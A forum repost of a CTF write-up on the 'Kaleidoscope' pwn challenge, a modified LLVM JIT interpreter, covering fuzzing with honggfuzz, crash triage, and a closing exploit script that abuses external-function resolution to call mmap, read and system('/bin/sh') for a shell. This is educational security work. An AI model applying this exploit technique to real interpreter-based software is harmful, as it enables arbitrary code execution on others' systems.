Jump to content
Nytro

[Redhat2019] Kaleidoscope

Recommended Posts

[Redhat2019] Kaleidoscope

發表於 2019-11-11 | 分類於 Hack

这是连续第三届参加广东省的红帽杯比赛了,就题目质量来说明显是一届比一届高,看到这题万花筒惊喜之余也感叹国内的CTF比赛门槛真是越来越高了。作为一道基于解释器改编的题目,通过传统的逆向方法来做还是比较困难,因此分享一下用fuzzing来找到题目漏洞以及后续的分析利用。
This challenge is from a CTF game of Guangdong province, China. It is a Pwn challenge based on llvm JIT engine. You can download this challenge at this link.

Recon

At first you may not able to run this binary directly, because of the missing libary libLLVM-6.0.so.1, use sudo apt-get install libllvm6.0 to solve the dependency. It will give us a interpreter interface like:

ready> a = 1
ready> 1+1
Error: Unknown variable name
ready> a+1
Evaluated to 2
ready>

 

Drop the binary into ida and we can see that it was written by C++, and the designer turned on some optimization settings when compiling, so the decompile result was really hard to follow. The symbols tell us, this is a Kaleidoscope JIT interpreter, which is used by llvm project as tutorial to demonstrate how to implement a JIT interpreter. We can find the tutorial here: Building a JIT: Starting out with KaleidoscopeJIT, and the source code at llvm-kaleidoscope.

The main function is clear in source code:

int main() {
	BinopPrecedence['<'] = 10;
	BinopPrecedence['+'] = 20;
	BinopPrecedence['-'] = 20;
	BinopPrecedence['*'] = 40;
	fprintf(stderr, "ready> ");
	getNextToken();
	TheModule = llvm::make_unique<Module>("My awesome JIT", 	TheContext);
	MainLoop();
	TheModule->print(errs(), nullptr);
	return 0;
}

 

but in ida it looks really terrible:

LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp);
LLVMInitializeX86Target();
LLVMInitializeX86TargetMC();
LLVMInitializeX86AsmPrinter();
LLVMInitializeX86AsmParser();
__k[0] = '=';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 2;
__k[0] = '<';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 10;
__k[0] = '+';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20;
__k[0] = '-';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20;
__k[0] = '*';
*std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 40;
v3 = &stderr;
fwrite("ready> ", 7uLL, 1uLL, stderr);
...

 

Comparing these two pieces of code, we can see the challenge define = as BinopPrecedence while the original version didn’t. I try to follow the code but soon decide to change another method.

Fuzzing

So I turned to fuzzing and hope to find some bugs. I tried AFL with qemu mode to run this binary first, but it stuck on the initialization. If you know how to run such a binary with AFL, please do let me know.

matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang 
afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%).
[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt.
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning 'in/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:1.txt'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
...(It just stop here)

 

Then I try honggfuzz, which is another popular fuzzer support binary instrument. At first I cloned the source code from github but failed on compilation. Then I found a docker image at Doker hub, but it does not support qemu mode. I had to attach to the container and complied the qemu mode, some dependencies installation are unavoidable. It took me more than 2 hours to setup this tool (the network connection is always big problem when you setting up similar tools in China).

The command of running this docker image is:

docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash

 

and you can find the usage of honggfuzz here: USAGE, for the qemu mode we need, it can be run by:

honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope

 

The seed corpus was put in /work/in, I simply chose the code snippet from https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language:

# Compute the x'th fibonacci number.
def fib(x)
  if x < 3 then
    1
  else
    fib(x-1)+fib(x-2)

# This expression will compute the 40th number.
fib(40)

 

I run this in a vmware workstation vm, so the speed is a kind of slow, but it still give us some crashes in less than ten minutes. I believe this will be much faster on a bare metal linux machine.

 Iterations : 5810 [5.81k]
 Mode [3/3] : Feedback Driven Mode
     Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope
    Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU]
      Speed : 0/sec [avg: 1]
    Crashes : 200 [unique: 0, blacklist: 0, verified: 0]
   Timeouts : 0 [10 sec]
Corpus Size : 97, max: 8192 bytes, init: 2 files
 Cov Update : 0 days 00 hrs 01 mins 18 secs ago
   Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658

 

Crashes

The fuzzer gave us a crash in less than ten minutes, I review the crashes, it seems like some heap corruption issue, but the stacktrace was hard to look at.

─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x0
 RBX  0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887
 RCX  0x7ffff35ede97 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
 RDX  0x0
 RDI  0x2
 RSI  0x7fffffffd660 ◂— 0x0
 R8   0x0
 R9   0x7fffffffd660 ◂— 0x0
 R10  0x8
 R11  0x246
 R12  0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0
 R13  0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov    rax, qword ptr [rip + 0x3390f1]
 R14  0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ...
 R15  0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ...
 RBP  0x7ffff40dbfe2 ◂— jae    0x7ffff40dc058 /* u'std::bad_alloc' */
 RSP  0x7fffffffd660 ◂— 0x0
 RIP  0x7ffff35ede97 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7ffff35ede97 <raise+199>    mov    rcx, qword ptr [rsp + 0x108] <0x7ffff35ede97>
   0x7ffff35ede9f <raise+207>    xor    rcx, qword ptr fs:[0x28]
   0x7ffff35edea8 <raise+216>    mov    eax, r8d
   0x7ffff35edeab <raise+219>    jne    raise+252 <0x7ffff35edecc>

   0x7ffff35edecc <raise+252>    call   __stack_chk_fail <0x7ffff36e3c80>
 
   0x7ffff35eded1                nop    word ptr cs:[rax + rax]
   0x7ffff35ededb                nop    dword ptr [rax + rax]
   0x7ffff35edee0 <killpg>       test   edi, edi
   0x7ffff35edee2 <killpg+2>     js     killpg+16 <0x7ffff35edef0>
 
   0x7ffff35edee4 <killpg+4>     neg    edi
   0x7ffff35edee6 <killpg+6>     jmp    0x7ffff35ee180 <0x7ffff35ee180>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsi r9 rsp  0x7fffffffd660 ◂— 0x0
01:00080x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0
02:00100x7fffffffd670 ◂— 0x0
... ↓
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0     7ffff35ede97 raise+199
   f 1     7ffff35ef801 abort+321
   f 2     7ffff3fef242
   f 3     7ffff3ffae86
   f 4     7ffff3ffaed1
   f 5     7ffff3ffb105
   f 6     7ffff3feeee1
   f 7     55555555eb68
   f 8     55555555eb68
   f 9     55555555eb68
   f 10     55555555eb68
pwndbg> bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007ffff35ef801 in __GI_abort () at abort.c:79
#2  0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3  0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6  0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#7  0x000055555555eb68 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219
#8  std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct_aux<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236
#9  std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255
#10 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string (this=<optimized out>, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440
#11 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, 0ul>(std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&, std::tuple<>&, std::_Index_tuple<0ul>, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651
#12 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>(std::piecewise_construct_t, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639
#13 __gnu_cxx::new_allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=<optimized out>, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136
#14 std::allocator_traits<std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >&, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475
#15 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_construct_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626
#16 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_create_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643
#17 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_const_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __pos={
  first = <incomplete type>,
  second = 0x0
}, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398
#18 0x000055555555e97d in std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, llvm::AllocaInst*, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::operator[] (this=<optimized out>, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493
#19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781
#20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085
#21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164
#22 MainLoop () at toy.cpp:1209
#23 main () at toy.cpp:1263
#24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 <main()>, argc=1, argv=0x7fffffffdee8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310
#25 0x0000555555559c4a in _start ()

 

I then went to dinner and some really interesting crashes was found before I came back. The fuzzer reports these inputs lead to crashes, but the binary did not crash at all in dry run.

matthew@matthew-MS-7A37 ~/L/fuzz> cat c5
def fib(x)
  if x < 3 then
   1
  else
 526142246948557=666

fib(40)
$IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2
ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8
                             *ŋyG:~V$5917384075431139189gG      ^ggXX%KTY១R|    )"319Oqy`
                                                                                         {&!M?Z-Bz X
                                                                                                    >@YAyd(9kG9Dž޹0)dL&TBeDjח@3g3N,Okrvz8b[QRs        U,(     >m@.*ou3\w;߳^U
C}5Ttrz7217830875066176221-+\I
                              f⏎

 

matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope 
ready> ready> Error: Unknown variable name
ready> LLVM ERROR: Program used external function 'fib' which could not be resolved!

The output was interesting though, it said the external function “fib” could not be resolved. If you compare the binary code with the original source code, you can see that there was an extern keyword in the source. However the handler was disabled in this challenge, it will say “No extern function” if you try to use extern keyword.

      {
        if ( CurTok != 0xFFFFFFFD )
          goto LABEL_30;
        fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3);
        CurTok = gettok();
        CurTok = gettok();
LABEL_18:
        CurTok = gettok();
      }

 

Then I search the string Program used external function 'fib' which could not be resolved! in this binary but find nothing. However, this message was stared by a tag LLVM ERROR, did that mean the string located at the llvm library?

matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external"
Program used external function '

 

YES!

Analysis

Consider the logic behind this test case, the binary have finished the parsing job and pass the function name to libLLVM, libLLVM get the function name and try to resolve it from libc. If we search this info in the source of llvm, we can see it was invoked by RTDyldMemoryManager::getPointerToNamedFunction, see https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290.

Then I thought maybe we can call the libc functions directly in same manner. I changed the fib to puts, loaded the binary into gdb and read the input. I also set a breakpoint at puts, it did stop at the call.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 RAX  0x7ffff36899c0 (puts) ◂— push   r13
 RBX  0x7ffff7ff6000 ◂— push   rax
 RCX  0x3
 RDX  0x55555556a010 ◂— 0x605070607050307
 RDI  0x28
 RSI  0x55555556a018 ◂— 0x607050702070606
 R8   0x8
 R9   0x1
 R10  0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000
 R11  0x88
 R12  0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R13  0x555555564eb8 ◂— jb     0x555555564f1f /* 'ready> ' */
 R14  0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push   rax
 R15  0x7fffffffddc0 ◂— 0x0
 RBP  0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
 RSP  0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop    rcx
 RIP  0x7ffff36899c0 (puts) ◂— push   r13
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
0x7ffff36899c0 <puts>       push   r13
   0x7ffff36899c2 <puts+2>     push   r12
   0x7ffff36899c4 <puts+4>     mov    r12, rdi
   0x7ffff36899c7 <puts+7>     push   rbp
   0x7ffff36899c8 <puts+8>     push   rbx
   0x7ffff36899c9 <puts+9>     sub    rsp, 8
   0x7ffff36899cd <puts+13>    call   *ABS*+0x9dc70@plt <0x7ffff362a100>
 
   0x7ffff36899d2 <puts+18>    mov    rbp, qword ptr [rip + 0x36be6f] <0x7ffff39f5848>
   0x7ffff36899d9 <puts+25>    mov    rbx, rax
   0x7ffff36899dc <puts+28>    mov    eax, dword ptr [rbp]
   0x7ffff36899df <puts+31>    mov    rdi, rbp
─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rsp  0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop    rcx
01:00080x7fffffffdd10 ◂— 0x0
02:00100x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov    ecx, eax
03:0018│      0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr'
04:00200x7fffffffdd28 ◂— 0xb /* '\x0b' */
05:0028│      0x7fffffffdd30 ◂— '__anon_expr'
06:00300x7fffffffdd38 ◂— 0x727078 /* 'xpr' */
07:0038│ r14  0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push   rax
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
 ► f 0     7ffff36899c0 puts
   f 1     7ffff7ff6012
   f 2                0
───────────────────────────────────────────────────────────────────────────────────────────
Breakpoint puts
pwndbg>

 

We can see that the first argument $rdi is 0x28=40, that means we can control the argument too.

Exploit

With the handy arbitrary libc function calling ability, it should be quite straightforward to get a shell. The binary was protected by PIE, so we don’t know any address information initially. My solution is using mmap to get an new region like 0x100000 and use read to load the /bin/sh string into memory. Finally we can call system(0x100000) to get shell.

payload = """
 def mmap(x y z o p)
  if x < 3 then
   1
  else
 a=666
  else
 0=666
  else
 b=666
  else
 0=666
  else
 c=666

mmap(1048576, 4096, 7, 34, 0);
"""
sla(">", payload)
time.sleep(0.5)
payload = """
def read(x y z)
  if m < 3 then
   1
  else
 0=666

def system(x)
  if m < 3 then
   1
  else
 0=666

read(0, 1048576, 10);
system(1048576);
"""
sla(">", payload)
sla(">", "/bin/sh\x00")
p.interactive()

 

I spent some time to tune the if-else statements according to the number of arguments to make it accept by the interpreter, but later find it is unnecessary, any function definition with if-else statement will be regard as external function.

Wrapup

This is the first time I used fuzzing technique to solve a challenge during a CTF. As you can see, this is a promising skill in competition, it can save plenty of time from reverse engineering. In terms of the interpreter pwn challenges, I had came across some like Javascript, Lua (see another writeup at of XNUCA2019), and this Kaleidoscope, many of them were related to the external function calling or, foreign function interface (FFI). So this might be the thing to look at when you meet a interpreter-based pwn challenge.

References

  1. https://llvm.org/docs/tutorial/BuildingAJIT1.html
  2. https://github.com/ghaiklor/llvm-kaleidoscope
  3. https://hub.docker.com/r/zjuchenyuan/honggfuzz
  4. https://github.com/google/honggfuzz/blob/master/docs/USAGE.md
  5. https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language
  6. http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF

 

Sursa: http://matshao.com/2019/11/11/Redhat2019-Kaleidoscope/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...